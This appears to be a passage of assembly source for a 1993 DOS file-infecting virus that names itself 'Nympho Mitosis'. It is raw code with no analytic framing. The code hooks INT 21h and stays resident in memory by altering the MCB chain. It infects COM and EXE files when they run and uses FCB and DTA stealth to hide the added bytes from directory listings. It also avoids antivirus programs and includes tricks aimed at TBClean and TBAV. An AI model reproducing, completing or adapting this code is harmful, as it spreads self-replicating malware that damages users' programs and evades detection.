mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment
;
mov ax,es ;ES=PSP=AX
dec ax ;Decrement for Last MCB
mov ds,ax ;AX=Last MCB=DS
;
cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain?
jne restoreCOMEXEfile ;Jump if Not Equal/Zero
;
mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last
sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
;
mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB
;
mov ds,ax ;DS=Location of Virus MCB
inc ax ;Increment for Mem Loc
mov es,ax ;AX=Memory Location=ES
;
mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain
mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB
mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
;
push cs ;Push Segment onto Stack
pop ds ;Restore into DS (CS=DS)
;
cld ;Clear Direction Flag
mov di,100h ;DI=Location in Memory
lea si,[bp+v_start] ;SI=Source of Data
mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes
rep movsw ;Word @ DS:[SI]=>ES:[DI]
;
mov ds,cx ;CX=000h=DS=Int Table
;
cli ;Turn OFF Interrupts
mov word ptr ds:[084h],offset Int21Handler
mov word ptr ds:[086h],es ;Location in Memory
sti ;Turn ON Interrupts
;
restoreCOMEXEfile: ;
pop es ds ;Restore Segments
;
mov ax,5A4Dh ;AX=5A4Dh (MZ)
lea si,cs:[bp+host_bytes] ;SI=Host_Bytes
;
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
je restoreEXEfile ;Jump if Equal/Zero
;
xchg ah,al ;Exchange Registers (ZM)
;
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
je restoreEXEfile ;Jump if Equal/Zero
;
restoreCOMfile: ;
mov di,0FFh ;DI=Location in Memory
inc di ;Increment for Real Loc
push di ;Push DI onto Stack
mov byte ptr [di],0C3h ;** Here, we screw up
;** the file _if_ TBClean
call di ;** is being run.
;** Thanks LM!
movsw ;Word @ DS:[SI]=>ES:[DI]
movsb ;Byte @ DS:[SI]=>ES:[DI]
;
retn ;Return to Host Program
;
restoreEXEfile: ;
mov ax,es ;ES=PSP=AX
;
add ax,010h ;Skip One Segment for CS
add ax,word ptr cs:[si+016h] ;Calculate Start of Prog
;
push ax ;Push New CS to Stack
push word ptr cs:[si+014h] ;Push IP to Stack
;
retf ;Return to Host Program
;
db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus
db "Copyright (c) 1993 Memory Lapse",000h
;
Int21Handler: ;
cmp ax,5D3Dh ;Is Virus Checking?
jne check_execute ;Jump if Not Equal/Zero
;
cbw ;Convert AL to AX
;
iret ;Interrupt Return
;
check_execute: ;
cmp ah,011h ;Are We Doing a DIR?
je _FCBStealth ;Jump if Equal/Zero
; (DOS)
cmp ah,012h ;Are We Doing a DIR?
je _FCBStealth ;Jump if Equal/Zero
; (DOS)
cmp ah,04Eh ;Are We Doing a DIR?
je _DTAStealth ;Jump if Equal/Zero
; (4DOS)
cmp ah,04Fh ;Are We Doing a DIR?
je _DTAStealth ;Jump if Equal/Zero
; (4DOS)
push ax bx cx dx di si ds es ;Push Registers onto Stack
;
cmp ax,6C00h ;Are We Extended Opening?
je __disinfectCOMEXEfile ;Jump if Equal/Zero
;
cmp ah,03Dh ;Are We Opening?
je _disinfectCOMEXEfile ;Jump if Equal/Zero
;
dec ax ;** Get Rid of TBAV's
;** Traps Loading of SW.
cmp ax,4AFFh ;Are We Executing?
je _infectCOMEXEfile ;Jump if Equal/Zero
;
_Interrupt21h: ;
pop es ds si di dx cx bx ax ;Restore Registers
;
Interrupt21h: ;
db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO
;
Int21hOffset equ $-004h ;Buffer for Int 21 Offset
Int21hSegment equ $-002h ;Buffer for Int 21 Segment
;
_FCBStealth: ;
jmp FCBStealth ;Unconditional Jump
;
_DTAStealth: ;
jmp DTAStealth ;Unconditional Jump
;
_infectCOMEXEfile: ;
jmp infectCOMEXEfile ;Unconditional Jump
;
__disinfectCOMEXEfile: ;
xchg dx,si ;SI=File Name=>DX
;
_disinfectCOMEXEfile: ;
jmp disinfectCOMEXEfile ;Unconditional Jump
;
FCBStealth: ;
pushf ;Push Flags to Top of Stck
push cs ;Push Segment onto Stack
call Interrupt21h ;Simulate Interrupt
;
test al,al ;Was There an Error?
jnz endFCBstealth ;Jump if Not Equal/Zero
;
push es dx cx bx ax ;Push Registers onto Stack
;
mov ah,051h ;AH=51h / GET PSP ADDRESS
int 021h ;DOS Services
;
mov es,bx ;BX=Address=ES
;
cmp bx,word ptr es:[016h] ;Is This a Parent PSP?
jne restoreFCBregisters ;Jump if Not Equal/Zero
;
mov bx,dx ;DX=BX
mov al,[bx] ;Get First Byte of FCB
;
push ax ;Save Byte onto Stack
;
mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS
int 021h ;DOS Services
;
pop ax ;Restore AX
;
inc al ;Is This an Extended FCB?
jnz checkFCBinfected ;Jump if Not Equal/Zero
;
add bx,007h ;Convert to Normal FCB
;
checkFCBinfected: ;
mov cx,word ptr es:[bx+017h] ;CX=Time
mov dx,word ptr es:[bx+019h] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz restoreFCBregisters ;Jump if Not Equal/Zero
;
sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow
;
restoreFCBregisters: ;
pop ax bx cx dx es ;Restore Registers
;
endFCBstealth: ;
iret ;Interrupt Return
;
DTAStealth: ;
pushf ;Push Flags to Top of Stck
push cs ;Push Segment onto Stack
call Interrupt21h ;Simulate Interrupt
;
jc endDTAstealth ;Jump if Carry Flag Set
;
push es dx cx bx ax ;Save Registers onto Stack
;
mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS
int 021h ;DOS Services
;
mov cx,word ptr es:[bx+016h] ;CX=Time
mov dx,word ptr es:[bx+018h] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz restoreDTAregisters ;Jump if Not Equal/Zero
;
sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow
;
restoreDTAregisters: ;
pop ax bx cx dx es ;Restore Registers
;
endDTAstealth: ;
retf 002h ;Return Far (POP 2 WORDS)
;
disinfectCOMEXEfile: ;
call OpenAndGetSFT ;Call Procedure
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jnz disinfect_close ;Jump if Not Equal/Zero
;
call LSeek ;Move File Pointer to End
;
xchg cx,dx ;Exchange Register Values
xchg dx,ax ;Exchange Register Values
;
push dx cx ;Save File Size to Stack
;
sub dx,018h ;Subtract 18 for Host_Byte
sbb cx,000h ;Subtract if Borrow
;
mov word ptr es:[di+015h],dx ;Move File Pointer to
mov word ptr es:[di+017h],cx ;Starting of Host_Bytes
;
mov dx,offset temp_buffer ;DX=Buffer for Data
mov cx,018h ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
pop cx dx ;Restore File Size
;
sub dx,(v_end-v_start) ;Subtract Virus Size
sbb cx,000h ;Subtract if Borrow
;
mov word ptr es:[di+015h],dx ;Move File Pointer to
mov word ptr es:[di+017h],cx ;Starting of Virus
;
sub cx,cx ;Load Register w/Zero
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
and cl,0E0h ;Unmask Seconds Field
or cl,008h ;Set Seconds to 016d
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
jmp preCLOSECOMEXEfile ;Unconditional Jump
;
disinfect_close: ;
jmp closeCOMEXEfile ;Unconditional Jump
;
infectCOMEXEfile: ;
call OpenAndGetSFT ;Call Procedure
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
and cx,01Fh ;Unmask Seconds Field
and dx,01Fh ;Unmask Day Field
;
xor cx,dx ;Are They the Same?
jz _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
cmp word ptr es:[di+020h],'LC' ;Could it Be Clean?
je _closeCOMEXEfile ;Jump if Equal/Zero
;
mov dx,offset host_bytes ;DX=Buffer for Data
mov cx,018h ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
mov si,offset temp_buffer ;SI=Temp_buffer
;
mov ax,4D5Ah ;** Get Rid of TBAV's
;** EXE/COM Determination
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
je infectEXEfile ;Jump if Equal/Zero
;
xchg ah,al ;Exchange Registers (MZ)
;
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
je infectEXEfile ;Jump if Equal/Zero
;
infectCOMfile: ;
call LSeek ;Move File Pointer to End
;
mov word ptr [delta],ax ;Write New Delta Offset
;
sub ax,003h ;Subtract 03 for JMP Loc
mov byte ptr [si+000h],0E9h ;Write JMP to Buffer
mov word ptr [si+001h],ax ;Write JMP Loc to Buffer
;
mov cx,003h ;CX=Number of Bytes
push cx ;Push Register onto Stack
;
jmp continueCOMEXEinfect ;Unconditional Jump
;
_closeCOMEXEfile: ;
jmp closeCOMEXEfile ;Unconditional Jump
;
infectEXEfile: ;
mov dx,si ;DX=Buffer for Data
push cx ;CX=Number of Bytes
mov ah,03Fh ;AH=3Fh / READ
int 021h ;DOS Services
;
call LSeek ;Move File Pointer to End
;
push dx ax ;Push File Size onto Stack
;
add ax,(v_end-v_start) ;Add Virus Size to Low Bit
adc dx,000h ;Add if Carry to High Bit
;
mov cx,200h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
or dx,dx ;Do We Need to Round Up?
je no_burp ;Jump if Equal/Zero
;
inc ax ;Increment AX
;
no_burp: ;
mov word ptr [si+004h],ax ;New Length of File ö 512
mov word ptr [si+002h],dx ;New # of Bytes in Last Pg
;
pop ax dx ;Restore File Size
;
mov cx,010h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
sub ax,word ptr [si+008h] ;Subtact Header Size
;
mov word ptr [si+016h],ax ;CS=Segment of Virus
mov word ptr [si+014h],dx ;IP=Location of Virus
;
sub dx,100h ;Subtract 100h for Offset
mov word ptr [delta],dx ;Write New Delta Offset
;
continueCOMEXEinfect: ;
mov dx,offset v_start ;DX=Location of Data
mov cx,(v_end-v_start) ;CX=Number of Bytes
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov word ptr es:[di+015h],000h ;Move File Pointer to
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
;
xchg dx,si ;DX=Location of Data
pop cx ;CX=Number of Bytes
mov ah,040h ;AH=40h / WRITE
int 021h ;DOS Services
;
mov cx,word ptr es:[di+00Dh] ;CX=Time
mov dx,word ptr es:[di+00Fh] ;DX=Date
;
push dx ;Push Date Stamp to Stack
;
and cx,-020h ;Reset Seconds
and dx,01Fh ;Unmask Day Field
;
or cx,dx ;Move Day into Seconds
;
pop dx ;Restore Date
;
preCLOSECOMEXEfile: ;
mov ax,5701h ;AX=5701h / SET T/D STAMPS
int 021h ;DOS Services
;
closeCOMEXEfile: ;
mov ah,03Eh ;AH=3Eh / CLOSE File
int 021h ;DOS Services
;
jmp _Interrupt21h ;Unconditional Jump
;
OpenAndGetSFT: ;
mov ax,3D00h ;AX=3D00h / OPEN R/O
pushf ;Push Flags to Top of Stck
push cs ;Push Segment to Stack
call Interrupt21h ;Simulate Interrupt
;
xchg ax,bx ;Move File Handle to BX
;
push bx cs cs ;Push Registers to Stack
pop es ds ;Equal Out Segments
;
mov ax,1220h ;AX=1220h / GET JFT
int 02Fh ;Multiplex Interrupt
;
mov ax,1216h ;AX=1216h / GET SFT
mov bl,byte ptr es:[di] ;Move Byte into BL
int 02Fh ;Multiplex Interrupt
;
pop bx ;Restore File Handle
;
mov word ptr es:[di+002h],002h ;Open in Read/Write Mode
;
retn ;Return to Point of Call
;
LSeek: push ds ;Push Segment onto Stack
;
lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX
mov word ptr es:[di+015h],ax ;Move File Pointer to
mov word ptr es:[di+017h],ds ;End of File. (SFT)
mov dx,ds ;Move High Bit to DX
;
pop ds ;Restore Segment to DS
;
retn ;Return to Point of Call
;
host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE
dw 002h ;# of Bytes @ Last Page
dw 004h ;# of Pages + Header Size
dw 006h ;# of Relocatable Entries
dw 008h ;Size of Header (Paras)
dw 00Ah ;Min. Memory Required
dw 00Ch ;Max. Memory Wanted
dw 00Eh ;SS Value at Entry
dw 010h ;SP Value at Entry
dw 012h ;Negative Checksum
dw 014h ;IP Value at Entry
dw 016h ;CS Value at Entry
;
v_end: ;Marks End of Virus
heap_start: ;Marks Start of Heap
;
temp_buffer db 018h dup (?) ;Multipurpose Buffer
;
heap_end: ;Marks End of Heap
;
end start ;Marks End of Source